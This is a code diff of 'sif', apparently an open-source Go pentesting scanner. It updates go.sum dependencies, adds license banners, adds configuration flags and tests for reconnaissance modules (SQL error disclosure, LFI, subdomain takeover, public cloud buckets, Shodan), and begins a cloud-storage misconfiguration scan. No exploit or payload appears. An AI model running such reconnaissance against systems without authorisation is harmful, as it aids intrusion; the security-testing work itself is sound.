github.com/refraction-networking/utls v1.5.4/go.mod h1:SPuDbBmgLGp8s+HLNc83FuavwZCFoMmExj+ltUHiHUw=
github.com/refraction-networking/utls v1.8.1 h1:yNY1kapmQU8JeM1sSw2H2asfTIwWxIkrMJI0pRUOCAo=
github.com/refraction-networking/utls v1.8.1/go.mod h1:jkSOEkLqn+S/jtpEHPOsVv/4V4EVnelwbMQl4vCWXAM=
github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
@@ -440,8 +427,8 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/rocketlaunchr/google-search v1.1.6 h1:DcSluQWDWEMqo6jp6OGllMTI9SBECpSmUZFntAX4j/o=
github.com/rocketlaunchr/google-search v1.1.6/go.mod h1:fk5J/qPpaRDjLWdFxT+dmuiqG7kxXArC7K8A+gj88Nk=
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc=
github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
@@ -484,8 +471,8 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
github.com/temoto/robotstxt v1.1.1/go.mod h1:+1AmkuG3IYkh1kv0d2qEB9Le88ehNO0zwOr3ujewlOo=
@@ -523,8 +510,8 @@ github.com/trivago/tgo v1.0.7 h1:uaWH/XIy9aWYWpjm2CU3RpcqZXmX2ysQ9/Go+d9gyrM=
github.com/trivago/tgo v1.0.7/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc=
github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/ulikunitz/xz v0.5.9/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY=
github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo=
@@ -606,19 +593,19 @@ golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5y
golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA=
golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs=
golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU=
golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20230626212559-97b1e661b5df h1:UA2aFVmmsIlefxMk29Dp2juaUSth8Pyn3Tq5Y5mJGME=
golang.org/x/exp v0.0.0-20230626212559-97b1e661b5df/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc=
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 h1:vr/HnozRka3pE4EsMEg1lgkXJkTFJCVUX+S/ZT6wYzM=
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842/go.mod h1:XtvwrStGgqGPLc4cjQfWqZHG1YFdYs6swckp8vpsjnc=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.30.0 h1:fDEXFVZ/fmCKProc/yAXXUijritrDzahmwwefnjoPFk=
golang.org/x/mod v0.30.0/go.mod h1:lAsf5O2EvJeSFMiBxXDki7sCgAxEUcZHXoXMKT4GJKc=
golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -648,20 +635,20 @@ golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs=
golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I=
golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU=
golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk=
golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw=
golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ=
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -695,8 +682,8 @@ golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk=
golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
@@ -706,8 +693,8 @@ golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.18.0 h1:FcHjZXDMxI8mM3nwhX9HlKop4C0YQvCVCdwYl2wOtE8=
golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58=
golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -718,8 +705,8 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
@@ -734,8 +721,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/tools v0.39.0 h1:ik4ho21kwuQln40uelmciQPp9SipgNDdrafrYA4TmQQ=
golang.org/x/tools v0.39.0/go.mod h1:JnefbkDPyD8UU2kI5fuf8ZX4/yUeh9W877ZeBONxUqQ=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package format
import (
+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package templates
import (
+21
View File
@@ -1,20 +1,39 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
// Package styles provides custom styling options for the SIF tool's console output.
// It uses the lipgloss library to create visually appealing and consistent text styles.
package styles
import "github.com/charmbracelet/lipgloss"
var (
// Separator style for creating visual breaks in the output
Separator = lipgloss.NewStyle().
Border(lipgloss.ThickBorder(), true, false).
Bold(true)
// Status style for highlighting important status messages
Status = lipgloss.NewStyle().
Bold(true).
Foreground(lipgloss.Color("#00ff1a"))
// Highlight style for emphasizing specific text
Highlight = lipgloss.NewStyle().
Bold(true).
Underline(true)
// Box style for creating bordered content boxes
Box = lipgloss.NewStyle().
Bold(true).
Foreground(lipgloss.Color("#fafafa")).
@@ -24,6 +43,7 @@ var (
PaddingLeft(15).
Width(60)
// Subheading style for secondary titles or headers
Subheading = lipgloss.NewStyle().
Bold(true).
Align(lipgloss.Center).
@@ -32,6 +52,7 @@ var (
Width(60)
)
// Severity level styles for color-coding vulnerability severities
var (
SeverityLow = lipgloss.NewStyle().
Foreground(lipgloss.Color("#00ff00"))
+45 -17
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package config
import (
@@ -8,23 +20,31 @@ import (
)
type Settings struct {
Dirlist string
Dnslist string
Debug bool
LogDir string
NoScan bool
Ports string
Dorking bool
Git bool
Whois bool
Threads int
Nuclei bool
JavaScript bool
Timeout time.Duration
URLs goflags.StringSlice
File string
ApiMode bool
Template string
Dirlist string
Dnslist string
Debug bool
LogDir string
NoScan bool
Ports string
Dorking bool
Git bool
Whois bool
Threads int
Nuclei bool
JavaScript bool
Timeout time.Duration
URLs goflags.StringSlice
File string
ApiMode bool
Template string
CMS bool
Headers bool
CloudStorage bool
SubdomainTakeover bool
Shodan bool
SQL bool
LFI bool
Framework bool
}
const (
@@ -63,6 +83,14 @@ func Parse() *Settings {
flagSet.BoolVar(&settings.NoScan, "noscan", false, "Do not perform base URL (robots.txt, etc) scanning"),
flagSet.BoolVar(&settings.Whois, "whois", false, "Enable WHOIS lookup"),
flagSet.BoolVar(&settings.JavaScript, "js", false, "Enable JavaScript scans"),
flagSet.BoolVar(&settings.CMS, "cms", false, "Enable CMS detection"),
flagSet.BoolVar(&settings.Headers, "headers", false, "Enable HTTP Header Analysis"),
flagSet.BoolVar(&settings.CloudStorage, "c3", false, "Enable C3 Misconfiguration Scan"),
flagSet.BoolVar(&settings.SubdomainTakeover, "st", false, "Enable Subdomain Takeover Check"),
flagSet.BoolVar(&settings.Shodan, "shodan", false, "Enable Shodan lookup (requires SHODAN_API_KEY env var)"),
flagSet.BoolVar(&settings.SQL, "sql", false, "Enable SQL reconnaissance (admin panels, error disclosure)"),
flagSet.BoolVar(&settings.LFI, "lfi", false, "Enable LFI (Local File Inclusion) reconnaissance"),
flagSet.BoolVar(&settings.Framework, "framework", false, "Enable framework detection"),
)
flagSet.CreateGroup("runtime", "Runtime",
+157
View File
@@ -0,0 +1,157 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package config
import (
"testing"
"time"
)
func TestSettingsDefaults(t *testing.T) {
settings := &Settings{}
// noscan should default to false (base scan runs by default)
if settings.NoScan != false {
t.Errorf("expected NoScan default to be false, got %v", settings.NoScan)
}
// other scan flags should default to false
if settings.Dorking != false {
t.Errorf("expected Dorking default to be false, got %v", settings.Dorking)
}
if settings.Git != false {
t.Errorf("expected Git default to be false, got %v", settings.Git)
}
if settings.Nuclei != false {
t.Errorf("expected Nuclei default to be false, got %v", settings.Nuclei)
}
if settings.JavaScript != false {
t.Errorf("expected JavaScript default to be false, got %v", settings.JavaScript)
}
if settings.CMS != false {
t.Errorf("expected CMS default to be false, got %v", settings.CMS)
}
if settings.Headers != false {
t.Errorf("expected Headers default to be false, got %v", settings.Headers)
}
if settings.CloudStorage != false {
t.Errorf("expected CloudStorage default to be false, got %v", settings.CloudStorage)
}
if settings.SubdomainTakeover != false {
t.Errorf("expected SubdomainTakeover default to be false, got %v", settings.SubdomainTakeover)
}
// enum settings should default to empty string
if settings.Dirlist != "" {
t.Errorf("expected Dirlist default to be empty, got %v", settings.Dirlist)
}
if settings.Dnslist != "" {
t.Errorf("expected Dnslist default to be empty, got %v", settings.Dnslist)
}
if settings.Ports != "" {
t.Errorf("expected Ports default to be empty, got %v", settings.Ports)
}
}
func TestSettingsNoScanBehavior(t *testing.T) {
tests := []struct {
name string
noScan bool
shouldBaseScan bool
}{
{
name: "default - base scan should run",
noScan: false,
shouldBaseScan: true,
},
{
name: "noscan enabled - base scan should not run",
noScan: true,
shouldBaseScan: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
settings := &Settings{NoScan: tt.noScan}
// the condition in sif.go is: if !app.settings.NoScan { scan.Scan(...) }
shouldRun := !settings.NoScan
if shouldRun != tt.shouldBaseScan {
t.Errorf("expected shouldBaseScan=%v, got %v", tt.shouldBaseScan, shouldRun)
}
})
}
}
func TestSettingsTimeoutDefault(t *testing.T) {
settings := &Settings{}
// timeout defaults to zero value, actual default (10s) is set in Parse()
if settings.Timeout != 0 {
t.Errorf("expected Timeout zero value, got %v", settings.Timeout)
}
}
func TestSettingsThreadsDefault(t *testing.T) {
settings := &Settings{}
// threads defaults to zero value, actual default (10) is set in Parse()
if settings.Threads != 0 {
t.Errorf("expected Threads zero value, got %v", settings.Threads)
}
}
func TestSettingsWithValues(t *testing.T) {
settings := &Settings{
NoScan: true,
Dorking: true,
Git: true,
Nuclei: true,
JavaScript: true,
CMS: true,
Headers: true,
CloudStorage: true,
SubdomainTakeover: true,
Dirlist: "medium",
Dnslist: "large",
Ports: "common",
Timeout: 30 * time.Second,
Threads: 20,
Debug: true,
LogDir: "/tmp/logs",
ApiMode: true,
}
if !settings.NoScan {
t.Error("expected NoScan to be true")
}
if !settings.Dorking {
t.Error("expected Dorking to be true")
}
if settings.Dirlist != "medium" {
t.Errorf("expected Dirlist 'medium', got '%s'", settings.Dirlist)
}
if settings.Dnslist != "large" {
t.Errorf("expected Dnslist 'large', got '%s'", settings.Dnslist)
}
if settings.Ports != "common" {
t.Errorf("expected Ports 'common', got '%s'", settings.Ports)
}
if settings.Timeout != 30*time.Second {
t.Errorf("expected Timeout 30s, got %v", settings.Timeout)
}
if settings.Threads != 20 {
t.Errorf("expected Threads 20, got %d", settings.Threads)
}
}
+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package logger
import (
+111
View File
@@ -0,0 +1,111 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"net/http"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
type CloudStorageResult struct {
BucketName string `json:"bucket_name"`
IsPublic bool `json:"is_public"`
}
func CloudStorage(url string, timeout time.Duration, logdir string) ([]CloudStorageResult, error) {
fmt.Println(styles.Separator.Render("☁️ Starting " + styles.Status.Render("Cloud Storage Misconfiguration Scan") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
